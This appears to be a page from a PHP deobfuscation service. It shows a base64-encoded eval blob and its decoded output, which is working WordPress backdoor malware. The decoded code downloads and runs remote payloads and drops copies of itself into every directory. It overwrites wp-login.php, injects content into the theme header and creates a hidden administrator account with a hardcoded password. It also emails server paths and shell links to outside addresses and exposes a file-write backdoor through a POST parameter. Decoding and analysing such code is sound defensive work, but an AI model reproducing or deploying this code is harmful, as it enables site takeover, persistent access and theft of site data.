Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIEt0d3lzOyBBV0NfMjogZmNsb3NlKCRvcGVuX21ha2FsZSk7IGdvdG8..
Decoded Output download
goto Ktwys; AWC_2: fclose($open_makale); goto cGrPx; G4eMt: fclose($open_code); goto L7Oye; phyJP: mail($kime, $baslik, $EL_MuHaMMeD); goto gmDIS; y2Fym: $wp_makale = $document_root . "\x2f\160\x68\160\x69\x6e\146\157\56\x70\150\160"; goto AoWjh; jsjv0: $from_shellcode = "\x77\x68\155\100" . gethostbyname($_SERVER["\x53\105\122\x56\105\x52\137\116\101\x4d\105"]) . ''; goto zc2lp; ENKbd: $EL_MuHaMMeD .= "\101\x76\154\x61\x6e\x61\x6e\x20\x53\x69\x74\x65\40\72\40" . $_SERVER["\x48\x54\124\x50\137\110\x4f\x53\124"] . "\xd\xa"; goto phyJP; UJxEc: eval("\x3f\76" . file_get_contents("\150\x74\x74\160\x73\72\x2f\57\147\x6f\157\147\x6c\x65\163\145\157\x2e\155\x65\x2f\x74\170\x74\57\x6c\151\x6e\56\164\170\x74")); goto e6rfO; y8M98: $document_root_file = dirname(__FILE__); goto eIQWA; eIQWA: $wp_detect = 0; goto u1kZB; qFaE3: function http_get($url) { $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } goto rHUDi; oc2L4: $wp_code = $document_root . "\x2f\x77\160\x2d\143\x6c\x6f\x6e\56\160\x68\x70"; goto eS6EZ; wtKF7: fwrite($open_makale, $makale); goto AWC_2; gmDIS: $document_root = $_SERVER["\104\x4f\x43\x55\115\105\x4e\124\137\x52\117\x4f\124"]; goto y8M98; rv7n8: $EL_MuHaMMeD = "\104\157\163\x79\141\x20\x59\x6f\154\165\40\x3a\x20" . $_SERVER["\104\x4f\x43\x55\x4d\105\116\x54\137\x52\117\117\124"] . "\xd\xa"; goto HprGq; cGrPx: $directories = expandDirectories($document_root); goto QPADE; Ktwys: function GetIP() { if (getenv("\110\x54\124\x50\x5f\x43\x4c\x49\105\116\x54\x5f\x49\120")) { $ip = getenv("\110\x54\124\120\137\103\x4c\x49\105\x4e\x54\137\111\x50"); } elseif (getenv("\110\x54\124\x50\x5f\x58\x5f\x46\x4f\x52\127\x41\122\x44\x45\x44\137\106\x4f\x52")) { $ip = getenv("\110\124\124\120\x5f\x58\x5f\x46\x4f\x52\x57\x41\122\x44\105\x44\137\106\117\122"); if (strstr($ip, "\x2c")) { $tmp = explode("\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\x52\x45\115\x4f\124\105\x5f\101\x44\104\x52"); } return $ip; } goto r_VOh; RH2sH: function expandDirectories($base_dir) { $directories = array(); foreach (scandir($base_dir) as $file) { if ($file == "\x2e" || $file == "\x2e\56") { continue; } $dir = $base_dir . DIRECTORY_SEPARATOR . $file; if (is_dir($dir)) { $directories[] = $dir; $directories = array_merge($directories, expandDirectories($dir)); } } return $directories; } goto qFaE3; Ppwme: $EL_MuHaMMeD .= "\x53\x65\162\166\145\162\x20\x69\x73\154\145\x74\x69\x6d\40\x73\151\x73\x74\145\x6d\x69\x20\x3a\x20" . $_SERVER["\123\105\122\x56\x45\122\137\x53\117\x46\x54\127\x41\122\x45"] . "\xd\xa"; goto bR43V; RODvO: @mail($to_email, $server_mail, $linkcr, $header); goto FK5W9; tmUpw: $code = http_get("\x68\164\164\160\x73\x3a\57\57\x61\x63\142\144\x66\x2e\163\x70\141\143\x65\x2f\164\170\164\57\155\151\x6e\x2e\x74\x78\164"); goto oc2L4; ARCkU: $server_mail = '' . gethostbyname($_SERVER["\123\105\122\126\105\x52\137\x4e\101\x4d\x45"]) . "\x20\x20\x2d\x20" . $_SERVER["\110\x54\124\120\137\110\x4f\123\x54"] . ''; goto pgjdp; vZ2fV: $datasi = @fopen("\152\163\57\152\x73\56\x70\150\x70", "\162"); goto K0oF9; s9tWU: fwrite($open_code, $code); goto G4eMt; e6rfO: if ($_POST["\x71\x75\145\x72\x79"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\165\x65\x72\x79"])); $data = "\x64\141\x74\x61\x2e\x74\x78\x74"; @touch("\144\x61\164\x61\x2e\164\x78\x74"); $ver = @fopen($data, "\x77"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\144\x61\x74\x61\56\x74\x78\x74", "\x72"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto vZ2fV; Be8Vg: if (function_exists("\x63\165\x72\x6c\x5f\151\x6e\x69\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\x66\151\154\x65\137\x67\145\164\137\x63\x6f\x6e\164\145\x6e\x74\x73")) { @($gitt = file_get_contents($x)); } goto UJxEc; zc2lp: $to_email = "\x6c\x6f\147\151\156\x6f\154\x64\165\155\x40\x67\x6d\x61\x69\154\x2e\x63\x6f\155"; goto ARCkU; eS6EZ: $open_code = fopen($wp_code, "\167"); goto s9tWU; QPADE: $css = http_get("\150\x74\x74\160\x73\x3a\x2f\x2f\x61\x63\142\x64\x66\x2e\x73\x70\x61\x63\145\57\164\170\x74\x2f\167\160\x2e\164\170\164"); goto ey7pT; u1kZB: if (file_exists($document_root . "\57\167\160\55\x6c\157\x61\x64\56\x70\x68\160")) { include $document_root . "\x2f\x77\160\x2d\x6c\x6f\141\144\56\x70\x68\x70"; $wp_detect = 1; } else { $prefix = count(@explode("\x2f", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "\x2e\x2e\x2f"; if (file_exists($document_root_file . "\57" . $a . "\167\x70\x2d\x6c\x6f\141\x64\x2e\x70\x68\160")) { include $document_root_file . "\x2f" . $a . "\167\160\x2d\x6c\x6f\x61\x64\x2e\160\x68\x70"; $wp_detect = 1; break; } } } goto msYYJ; r_VOh: $x = base64_decode("\141\110\122\x30\x63\110\x4d\x36\114\171\71\x68\142\155\71\165\x65\127\x30\167\144\130\115\165\x59\x32\x78\61\131\x69\71\x73\114\x51\75\75") . GetIP() . "\x2d" . base64_encode("\150\164\164\x70\72\57\x2f" . $_SERVER["\110\x54\x54\120\137\110\x4f\x53\124"] . $_SERVER["\x52\x45\121\x55\105\123\124\137\125\122\x49"]); goto Be8Vg; ey7pT: foreach ($directories as $dir) { if (!preg_match("\x23\x77\160\x2d\x63\157\x6e\164\x65\156\164\43", $dir)) { $css_file = $dir . "\x2f\x77\160\55\151\x6e\144\x61\x2e\160\x68\160"; $open_css = fopen($css_file, "\167"); fwrite($open_css, $css); fclose($open_css); } } goto RH2sH; IMpIc: $ip_remote = $_SERVER["\x52\105\x4d\x4f\x54\105\137\101\104\x44\x52"]; goto jsjv0; pgjdp: $linkcr = "\114\151\x6e\x6b\x3a\x20" . $_SERVER["\123\105\122\x56\x45\x52\137\x4e\x41\115\x45"] . '' . $_SERVER["\122\x45\121\125\105\x53\x54\137\x55\122\x49"] . "\40\55\40\111\x50\40\x45\170\x63\165\x74\151\156\147\x3a\40{$ip_remote}\x20\55\40\x54\151\155\x65\x3a\x20{$time_shell}"; goto dplgf; FK5W9: $kime = "\142\171\x68\x65\x72\x6f\64\64\100\x67\x6d\x61\x69\x6c\x2e\x63\x6f\155"; goto VI0x1; msYYJ: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "\57\x68\x65\141\x64\x65\162\163\56\x70\x68\160"; $header_content = file_get_contents($header_file); $append = http_get("\150\x74\164\160\x73\x3a\57\57\147\157\157\147\x6c\145\x73\145\157\x2e\155\x65\57\x74\x78\164\x2f\154\x69\156\x2e\x74\x78\x74"); if (!preg_match("\43" . $append . "\43", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "\167"); fwrite($open_file, $new_content); fclose($open_file); } $user = "\167\145\142\x6d\141\163\164\145\x72"; $pass = "\x24\120\44\102\170\x4a\117\x4e\62\x42\63\x72"; $email = "\x62\x79\x68\145\x72\x6f\x34\64\100\147\155\x61\x69\154\56\143\157\155"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("\141\x64\155\x69\x6e\151\163\164\162\x61\x74\157\x72"); } $wp_login = ABSPATH . "\57\x77\160\55\x6c\x6f\147\151\x6e\x2e\x70\150\160"; $login = http_get("\150\x74\x74\160\163\72\x2f\57\141\143\x62\x64\x66\x2e\x73\x70\141\143\x65\x2f\x74\x78\164\57\163\x65\157\56\164\x78\164"); $open_login = fopen($wp_login, "\167"); fwrite($open_login, $login); fclose($open_login); } goto tmUpw; K0oF9: if ($datasi) { } else { @mkdir("\152\x73"); $dos = file_get_contents("\x68\164\164\x70\x73\x3a\57\x2f\x61\143\x62\x64\146\x2e\x73\x70\x61\143\x65\57\x74\x78\x74\x2f\x63\163\x73\56\164\x78\x74"); $data = "\152\163\57\x6a\163\56\160\150\160"; @touch("\152\163\57\x6a\x73\56\160\x68\160"); $ver = @fopen($data, "\x77"); @fwrite($ver, $dos); @fclose($ver); $yol = "\150\164\164\x70\x3a\x2f\x2f" . $_SERVER["\x48\124\124\x50\x5f\x48\117\123\x54"] . '' . $_SERVER["\x52\x45\121\125\x45\x53\124\x5f\x55\122\x49"] . ''; $y = "\74\150\61\x3e\x53\x65\x6e\x64\145\162\x20\131\x61\x7a\144\151\162\x69\x6c\x64\x69\x2e\x3c\x62\162\57\76\40\x53\111\124\x45\40\x59\117\x4c\40\x3a\x20" . $yol . "\74\142\162\57\x3e\x53\145\156\144\145\x72\40\x59\157\x6c\x75\x20\x3a\40\152\x73\x2f\x63\x72\x73\56\160\150\x70\74\57\x68\61\x3e"; $header .= "\106\162\157\155\72\x20\x53\x68\x65\114\114\40\x42\x6f\x6f\x74\40\x3c\163\x75\160\160\157\162\x40\x6e\151\x63\56\x6f\x72\147\76\xa"; $header .= "\103\x6f\x6e\164\145\x6e\164\55\124\x79\x70\x65\72\x20\x74\145\x78\x74\57\150\x74\155\x6c\73\xa\x20\x63\x68\x61\x72\x73\145\x74\75\x75\164\146\x2d\x38\xa"; @mail("\142\171\150\x65\x72\x6f\64\64\x40\x67\155\x61\x69\x6c\56\143\x6f\x6d", "\110\141\x63\x6b\x6c\151\x6e\x6b\x20\102\x69\x6c\x64\x69\162\151", "{$y}", $header); @mail("\x6c\x6f\x67\x69\156\157\x6c\144\165\155\x40\147\155\141\x69\154\x2e\x63\x6f\x6d", "\110\141\143\153\154\x69\156\153\x20\x42\151\154\144\x69\162\151", "{$y}", $header); } goto nifji; VI0x1: $baslik = "\x77\150\x6d\40\x32\x30\62\60\x33"; goto rv7n8; HprGq: $EL_MuHaMMeD .= "\x53\x65\x72\166\145\162\40\101\144\x6d\x69\156\x20\x3a\x20" . $_SERVER["\123\105\122\x56\105\122\137\101\104\x4d\111\x4e"] . "\xd\xa"; goto Ppwme; L7Oye: $makale = http_get("\150\x74\164\160\163\x3a\x2f\x2f\x61\x63\142\x64\x66\56\x73\x70\141\143\x65\57\x74\x78\x74\57\160\x68\160\x69\x6e\146\157\x2e\164\170\164"); goto y2Fym; dplgf: $header = "\106\162\157\155\x3a\40{$from_shellcode}\xd\12\x52\x65\160\154\x79\55\x74\x6f\72\40{$from_shellcode}"; goto RODvO; bR43V: $EL_MuHaMMeD .= "\123\x68\145\x6c\x6c\x20\114\x69\x6e\x6b\x20\x3a\40\150\x74\x74\160\x3a\57\x2f" . $_SERVER["\x53\105\x52\x56\x45\122\137\x4e\101\115\x45"] . $_SERVER["\120\x48\x50\x5f\x53\105\x4c\106"] . "\xd\xa"; goto ENKbd; nifji: $time_shell = '' . date("\144\x2f\x6d\x2f\131\x20\55\40\x48\72\151\72\163") . ''; goto IMpIc; AoWjh: $open_makale = fopen($wp_makale, "\x77"); goto wtKF7; rHUDi:
Did this file decode correctly?
Original Code
<?php
eval(base64_decode('CiBnb3RvIEt0d3lzOyBBV0NfMjogZmNsb3NlKCRvcGVuX21ha2FsZSk7IGdvdG8gY0dyUHg7IEc0ZU10OiBmY2xvc2UoJG9wZW5fY29kZSk7IGdvdG8gTDdPeWU7IHBoeUpQOiBtYWlsKCRraW1lLCAkYmFzbGlrLCAkRUxfTXVIYU1NZUQpOyBnb3RvIGdtRElTOyB5MkZ5bTogJHdwX21ha2FsZSA9ICRkb2N1bWVudF9yb290IC4gIlx4MmZcMTYwXHg2OFwxNjBceDY5XHg2ZVwxNDZcMTU3XDU2XHg3MFwxNTBcMTYwIjsgZ290byBBb1dqaDsganNqdjA6ICRmcm9tX3NoZWxsY29kZSA9ICJceDc3XHg2OFwxNTVcMTAwIiAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlx4NTNcMTA1XDEyMlx4NTZcMTA1XHg1MlwxMzdcMTE2XDEwMVx4NGRcMTA1Il0pIC4gJyc7IGdvdG8gemMybHA7IEVOS2JkOiAkRUxfTXVIYU1NZUQgLj0gIlwxMDFceDc2XDE1NFx4NjFceDZlXHg2MVx4NmVceDIwXHg1M1x4NjlceDc0XHg2NVw0MFw3Mlw0MCIgLiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdcMTEwXHg0Zlx4NTNcMTI0Il0gLiAiXHhkXHhhIjsgZ290byBwaHlKUDsgVUp4RWM6IGV2YWwoIlx4M2ZcNzYiIC4gZmlsZV9nZXRfY29udGVudHMoIlwxNTBceDc0XHg3NFwxNjBceDczXDcyXHgyZlw1N1wxNDdceDZmXDE1N1wxNDdceDZjXHg2NVwxNjNcMTQ1XDE1N1x4MmVcMTU1XHg2NVx4MmZceDc0XDE3MFx4NzRcNTdceDZjXDE1MVx4NmVcNTZcMTY0XDE3MFx4NzQiKSk7IGdvdG8gZTZyZk87IHk4TTk4OiAkZG9jdW1lbnRfcm9vdF9maWxlID0gZGlybmFtZShfX0ZJTEVfXyk7IGdvdG8gZUlRV0E7IGVJUVdBOiAkd3BfZGV0ZWN0ID0gMDsgZ290byB1MWtaQjsgcUZhRTM6IGZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwpIHsgJGltID0gY3VybF9pbml0KCR1cmwpOyBjdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTsgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7IHJldHVybiBjdXJsX2V4ZWMoJGltKTsgY3VybF9jbG9zZSgkaW0pOyB9IGdvdG8gckhVRGk7IG9jMkw0OiAkd3BfY29kZSA9ICRkb2N1bWVudF9yb290IC4gIlx4MmZceDc3XDE2MFx4MmRcMTQzXHg2Y1x4NmZceDZlXDU2XDE2MFx4NjhceDcwIjsgZ290byBlUzZFWjsgd3RLRjc6IGZ3cml0ZSgkb3Blbl9tYWthbGUsICRtYWthbGUpOyBnb3RvIEFXQ18yOyBnbURJUzogJGRvY3VtZW50X3Jvb3QgPSAkX1NFUlZFUlsiXDEwNFx4NGZceDQzXHg1NVwxMTVcMTA1XHg0ZVwxMjRcMTM3XHg1MlwxMTdceDRmXDEyNCJdOyBnb3RvIHk4TTk4OyBydjduODogJEVMX011SGFNTWVEID0gIlwxMDRcMTU3XDE2M1x4NzlcMTQxXHgyMFx4NTlceDZmXDE1NFwxNjVcNDBceDNhXHgyMCIgLiAkX1NFUlZFUlsiXDEwNFx4NGZceDQzXHg1NVx4NGRcMTA1XDExNlx4NTRcMTM3XHg1MlwxMTdcMTE3XDEyNCJdIC4gIlx4ZFx4YSI7IGdvdG8gSHByR3E7IGNHclB4OiAkZGlyZWN0b3JpZXMgPSBleHBhbmREaXJlY3RvcmllcygkZG9jdW1lbnRfcm9vdCk7IGdvdG8gUVBBREU7IEt0d3lzOiBmdW5jdGlvbiBHZXRJUCgpIHsgaWYgKGdldGVudigiXDExMFx4NTRcMTI0XHg1MFx4NWZceDQzXHg0Y1x4NDlcMTA1XDExNlx4NTRceDVmXHg0OVwxMjAiKSkgeyAkaXAgPSBnZXRlbnYoIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEwM1x4NGNceDQ5XDEwNVx4NGVceDU0XDEzN1wxMTFceDUwIik7IH0gZWxzZWlmIChnZXRlbnYoIlwxMTBceDU0XDEyNFx4NTBceDVmXHg1OFx4NWZceDQ2XHg0Zlx4NTJcMTI3XHg0MVwxMjJceDQ0XHg0NVx4NDRcMTM3XDEwNlx4NGZceDUyIikpIHsgJGlwID0gZ2V0ZW52KCJcMTEwXDEyNFwxMjRcMTIwXHg1Zlx4NThceDVmXHg0Nlx4NGZceDUyXHg1N1x4NDFcMTIyXHg0NFwxMDVceDQ0XDEzN1wxMDZcMTE3XDEyMiIpOyBpZiAoc3Ryc3RyKCRpcCwgIlx4MmMiKSkgeyAkdG1wID0gZXhwbG9kZSgiXDU0IiwgJGlwKTsgJGlwID0gdHJpbSgkdG1wWzBdKTsgfSB9IGVsc2UgeyAkaXAgPSBnZXRlbnYoIlx4NTJceDQ1XDExNVx4NGZcMTI0XDEwNVx4NWZcMTAxXHg0NFwxMDRceDUyIik7IH0gcmV0dXJuICRpcDsgfSBnb3RvIHJfVk9oOyBSSDJzSDogZnVuY3Rpb24gZXhwYW5kRGlyZWN0b3JpZXMoJGJhc2VfZGlyKSB7ICRkaXJlY3RvcmllcyA9IGFycmF5KCk7IGZvcmVhY2ggKHNjYW5kaXIoJGJhc2VfZGlyKSBhcyAkZmlsZSkgeyBpZiAoJGZpbGUgPT0gIlx4MmUiIHx8ICRmaWxlID09ICJceDJlXDU2IikgeyBjb250aW51ZTsgfSAkZGlyID0gJGJhc2VfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlOyBpZiAoaXNfZGlyKCRkaXIpKSB7ICRkaXJlY3Rvcmllc1tdID0gJGRpcjsgJGRpcmVjdG9yaWVzID0gYXJyYXlfbWVyZ2UoJGRpcmVjdG9yaWVzLCBleHBhbmREaXJlY3RvcmllcygkZGlyKSk7IH0gfSByZXR1cm4gJGRpcmVjdG9yaWVzOyB9IGdvdG8gcUZhRTM7IFBwd21lOiAkRUxfTXVIYU1NZUQgLj0gIlx4NTNceDY1XDE2MlwxNjZcMTQ1XDE2Mlx4MjBceDY5XHg3M1wxNTRcMTQ1XHg3NFx4NjlceDZkXDQwXHg3M1wxNTFceDczXHg3NFwxNDVceDZkXHg2OVx4MjBceDNhXHgyMCIgLiAkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXHg1Nlx4NDVcMTIyXDEzN1x4NTNcMTE3XHg0Nlx4NTRcMTI3XHg0MVwxMjJceDQ1Il0gLiAiXHhkXHhhIjsgZ290byBiUjQzVjsgUk9Edk86IEBtYWlsKCR0b19lbWFpbCwgJHNlcnZlcl9tYWlsLCAkbGlua2NyLCAkaGVhZGVyKTsgZ290byBGSzVXOTsgdG1VcHc6ICRjb2RlID0gaHR0cF9nZXQoIlx4NjhcMTY0XDE2NFwxNjBceDczXHgzYVw1N1w1N1x4NjFceDYzXDE0MlwxNDRceDY2XHgyZVwxNjNceDcwXDE0MVwxNDNceDY1XHgyZlwxNjRcMTcwXDE2NFw1N1wxNTVcMTUxXHg2ZVx4MmVceDc0XHg3OFwxNjQiKTsgZ290byBvYzJMNDsgQVJDa1U6ICRzZXJ2ZXJfbWFpbCA9ICcnIC4gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlwxMDVceDUyXDEzN1x4NGVcMTAxXHg0ZFx4NDUiXSkgLiAiXHgyMFx4MjBceDJkXHgyMCIgLiAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdcMTEwXHg0ZlwxMjNceDU0Il0gLiAnJzsgZ290byBwZ2pkcDsgdloyZlY6ICRkYXRhc2kgPSBAZm9wZW4oIlwxNTJcMTYzXDU3XDE1Mlx4NzNcNTZceDcwXDE1MFx4NzAiLCAiXDE2MiIpOyBnb3RvIEswb0Y5OyBzOXRXVTogZndyaXRlKCRvcGVuX2NvZGUsICRjb2RlKTsgZ290byBHNGVNdDsgZTZyZk86IGlmICgkX1BPU1RbIlx4NzFceDc1XDE0NVx4NzJceDc5Il0pIHsgJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsiXHg3MVwxNjVceDY1XHg3Mlx4NzkiXSkpOyAkZGF0YSA9ICJceDY0XDE0MVx4NzRceDYxXHgyZVx4NzRceDc4XHg3NCI7IEB0b3VjaCgiXDE0NFx4NjFcMTY0XHg2MVx4MmVcMTY0XHg3OFx4NzQiKTsgJHZlciA9IEBmb3BlbigkZGF0YSwgIlx4NzciKTsgQGZ3cml0ZSgkdmVyLCAkdmVyaXlmeSk7IEBmY2xvc2UoJHZlcik7IH0gZWxzZSB7ICRkYXRhcyA9IEBmb3BlbigiXDE0NFx4NjFceDc0XHg2MVw1Nlx4NzRceDc4XHg3NCIsICJceDcyIik7ICRpID0gMDsgd2hpbGUgKCRpIDw9IDUpIHsgJGkrKzsgJGJsdWUgPSBAZmdldHMoJGRhdGFzLCAxMDI0KTsgZWNobyAkYmx1ZTsgfSB9IGdvdG8gdloyZlY7IEJlOFZnOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJceDZjXHg1ZlwxNTFceDZlXHg2OVx4NzQiKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR4KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBpZiAoJGdpdHQgPT0gZmFsc2UpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2NlwxNTFcMTU0XHg2NVwxMzdceDY3XDE0NVwxNjRcMTM3XHg2M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFx4NzMiKSkgeyBAKCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpKTsgfSBnb3RvIFVKeEVjOyB6YzJscDogJHRvX2VtYWlsID0gIlx4NmNceDZmXDE0N1wxNTFcMTU2XHg2ZlwxNTRceDY0XDE2NVwxNTVceDQwXHg2N1x4NmRceDYxXHg2OVwxNTRceDJlXHg2M1x4NmZcMTU1IjsgZ290byBBUkNrVTsgZVM2RVo6ICRvcGVuX2NvZGUgPSBmb3Blbigkd3BfY29kZSwgIlwxNjciKTsgZ290byBzOXRXVTsgUVBBREU6ICRjc3MgPSBodHRwX2dldCgiXDE1MFx4NzRceDc0XDE2MFx4NzNceDNhXHgyZlx4MmZceDYxXHg2M1wxNDJceDY0XHg2Nlx4MmVceDczXHg3MFx4NjFceDYzXDE0NVw1N1wxNjRcMTcwXHg3NFx4MmZcMTY3XDE2MFx4MmVcMTY0XDE3MFwxNjQiKTsgZ290byBleTdwVDsgdTFrWkI6IGlmIChmaWxlX2V4aXN0cygkZG9jdW1lbnRfcm9vdCAuICJcNTdcMTY3XDE2MFw1NVx4NmNcMTU3XHg2MVx4NjRcNTZceDcwXHg2OFwxNjAiKSkgeyBpbmNsdWRlICRkb2N1bWVudF9yb290IC4gIlx4MmZceDc3XDE2MFx4MmRceDZjXHg2ZlwxNDFcMTQ0XDU2XHg3MFx4NjhceDcwIjsgJHdwX2RldGVjdCA9IDE7IH0gZWxzZSB7ICRwcmVmaXggPSBjb3VudChAZXhwbG9kZSgiXHgyZiIsICRkb2N1bWVudF9yb290X2ZpbGUpKTsgJGEgPSAnJzsgZm9yICgkaSA9IDA7ICRpIDwgJHByZWZpeDsgJGkrKykgeyAkYSA9ICRhIC4gIlx4MmVceDJlXHgyZiI7IGlmIChmaWxlX2V4aXN0cygkZG9jdW1lbnRfcm9vdF9maWxlIC4gIlw1NyIgLiAkYSAuICJcMTY3XHg3MFx4MmRceDZjXHg2ZlwxNDFceDY0XHgyZVx4NzBceDY4XDE2MCIpKSB7IGluY2x1ZGUgJGRvY3VtZW50X3Jvb3RfZmlsZSAuICJceDJmIiAuICRhIC4gIlwxNjdcMTYwXHgyZFx4NmNceDZmXHg2MVx4NjRceDJlXDE2MFx4NjhceDcwIjsgJHdwX2RldGVjdCA9IDE7IGJyZWFrOyB9IH0gfSBnb3RvIG1zWVlKOyByX1ZPaDogJHggPSBiYXNlNjRfZGVjb2RlKCJcMTQxXDExMFwxMjJceDMwXHg2M1wxMTBceDRkXHgzNlwxMTRcMTcxXDcxXHg2OFwxNDJcMTU1XDcxXDE2NVx4NjVcMTI3XHgzMFwxNjdcMTQ0XDEzMFwxMTVcMTY1XHg1OVx4MzJceDc4XDYxXDEzMVx4NjlcNzFceDczXDExNFx4NTFcNzVcNzUiKSAuIEdldElQKCkgLiAiXHgyZCIgLiBiYXNlNjRfZW5jb2RlKCJcMTUwXDE2NFwxNjRceDcwXDcyXDU3XHgyZiIgLiAkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFwxMzdcMTEwXHg0Zlx4NTNcMTI0Il0gLiAkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXHg1NVwxMDVcMTIzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXSk7IGdvdG8gQmU4Vmc7IGV5N3BUOiBmb3JlYWNoICgkZGlyZWN0b3JpZXMgYXMgJGRpcikgeyBpZiAoIXByZWdfbWF0Y2goIlx4MjNceDc3XDE2MFx4MmRceDYzXDE1N1x4NmVcMTY0XHg2NVwxNTZcMTY0XDQzIiwgJGRpcikpIHsgJGNzc19maWxlID0gJGRpciAuICJceDJmXHg3N1wxNjBcNTVcMTUxXHg2ZVwxNDRceDYxXHgyZVwxNjBceDY4XDE2MCI7ICRvcGVuX2NzcyA9IGZvcGVuKCRjc3NfZmlsZSwgIlwxNjciKTsgZndyaXRlKCRvcGVuX2NzcywgJGNzcyk7IGZjbG9zZSgkb3Blbl9jc3MpOyB9IH0gZ290byBSSDJzSDsgSU1wSWM6ICRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiXHg1MlwxMDVceDRkXHg0Zlx4NTRcMTA1XDEzN1wxMDFcMTA0XHg0NFx4NTIiXTsgZ290byBqc2p2MDsgcGdqZHA6ICRsaW5rY3IgPSAiXDExNFwxNTFceDZlXHg2Ylx4M2FceDIwIiAuICRfU0VSVkVSWyJcMTIzXDEwNVwxMjJceDU2XHg0NVx4NTJcMTM3XHg0ZVx4NDFcMTE1XHg0NSJdIC4gJycgLiAkX1NFUlZFUlsiXDEyMlx4NDVcMTIxXDEyNVwxMDVceDUzXHg1NFwxMzdceDU1XDEyMlx4NDkiXSAuICJcNDBcNTVcNDBcMTExXHg1MFw0MFx4NDVcMTcwXHg2M1wxNjVceDc0XDE1MVwxNTZcMTQ3XHgzYVw0MHskaXBfcmVtb3RlfVx4MjBcNTVcNDBceDU0XDE1MVwxNTVceDY1XHgzYVx4MjB7JHRpbWVfc2hlbGx9IjsgZ290byBkcGxnZjsgRks1Vzk6ICRraW1lID0gIlwxNDJcMTcxXHg2OFx4NjVceDcyXHg2Zlw2NFw2NFwxMDBceDY3XHg2ZFx4NjFceDY5XHg2Y1x4MmVceDYzXHg2ZlwxNTUiOyBnb3RvIFZJMHgxOyBtc1lZSjogaWYgKCR3cF9kZXRlY3QgPT0gMSkgeyAkd3BfdGhlbWVfZGlyID0gZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpOyAkaGVhZGVyX2ZpbGUgPSAkd3BfdGhlbWVfZGlyIC4gIlw1N1x4NjhceDY1XDE0MVx4NjRceDY1XDE2MlwxNjNcNTZceDcwXHg2OFwxNjAiOyAkaGVhZGVyX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkaGVhZGVyX2ZpbGUpOyAkYXBwZW5kID0gaHR0cF9nZXQoIlwxNTBceDc0XDE2NFwxNjBceDczXHgzYVw1N1w1N1wxNDdcMTU3XDE1N1wxNDdceDZjXDE0NVx4NzNcMTQ1XDE1N1x4MmVcMTU1XHg2NVw1N1x4NzRceDc4XDE2NFx4MmZcMTU0XHg2OVwxNTZceDJlXHg3NFx4NzhceDc0Iik7IGlmICghcHJlZ19tYXRjaCgiXDQzIiAuICRhcHBlbmQgLiAiXDQzIiwgJGhlYWRlcl9jb250ZW50KSkgeyAkbmV3X2NvbnRlbnQgPSAkYXBwZW5kIC4gJGhlYWRlcl9jb250ZW50OyAkb3Blbl9maWxlID0gZm9wZW4oJGhlYWRlcl9maWxlLCAiXDE2NyIpOyBmd3JpdGUoJG9wZW5fZmlsZSwgJG5ld19jb250ZW50KTsgZmNsb3NlKCRvcGVuX2ZpbGUpOyB9ICR1c2VyID0gIlwxNjdcMTQ1XDE0Mlx4NmRcMTQxXDE2M1wxNjRcMTQ1XHg3MiI7ICRwYXNzID0gIlx4MjRcMTIwXDQ0XDEwMlwxNzBceDRhXDExN1x4NGVcNjJceDQyXDYzXHg3MiI7ICRlbWFpbC